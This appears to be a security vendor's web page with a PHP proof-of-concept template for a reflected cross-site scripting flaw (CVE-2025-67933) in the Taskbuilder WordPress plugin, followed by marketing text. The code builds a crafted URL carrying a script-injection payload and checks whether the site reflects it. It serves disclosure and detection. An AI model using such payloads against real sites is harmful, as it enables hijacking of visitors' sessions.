// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67933 - Taskbuilder <= 4.0.9 - Reflected Cross-Site Scripting
<?php
// CONFIGURATION
$target_url = 'http://example.com/wp-content/plugins/taskbuilder/vulnerable-endpoint.php';
// The exact vulnerable endpoint and parameter name are not specified in the provided data.
// This PoC template demonstrates the general attack pattern for reflected XSS.
// Replace 'vulnerable_param' with the actual vulnerable parameter name.
$malicious_param = 'vulnerable_param';
$payload = '"><script>alert(document.domain)</script>';

// Build the malicious URL
$attack_url = $target_url . '?' . $malicious_param . '=' . urlencode($payload);

// Demonstrate the attack vector
echo "[+] Target: " . $target_url . "n";
echo "[+] Crafted URL: " . $attack_url . "nn";
echo "To exploit, an attacker would lure a victim to visit the above URL.n";
echo "The victim's browser would execute the JavaScript payload upon loading the page.n";

// Optional: Use cURL to fetch the page and check if the payload is reflected unsanitized.
echo "n[+] Checking for reflection (basic detection)...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    // Simple check for unescaped angle brackets from the payload
    if (strpos($response, '"><script>') !== false) {
        echo "[!] Potential vulnerability detected: Payload appears reflected unsanitized.n";
    } else {
        echo "[-] Payload not found in raw response (may be sanitized or endpoint not found).n";
    }
} else {
    echo "[-] HTTP Status: " . $http_code . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School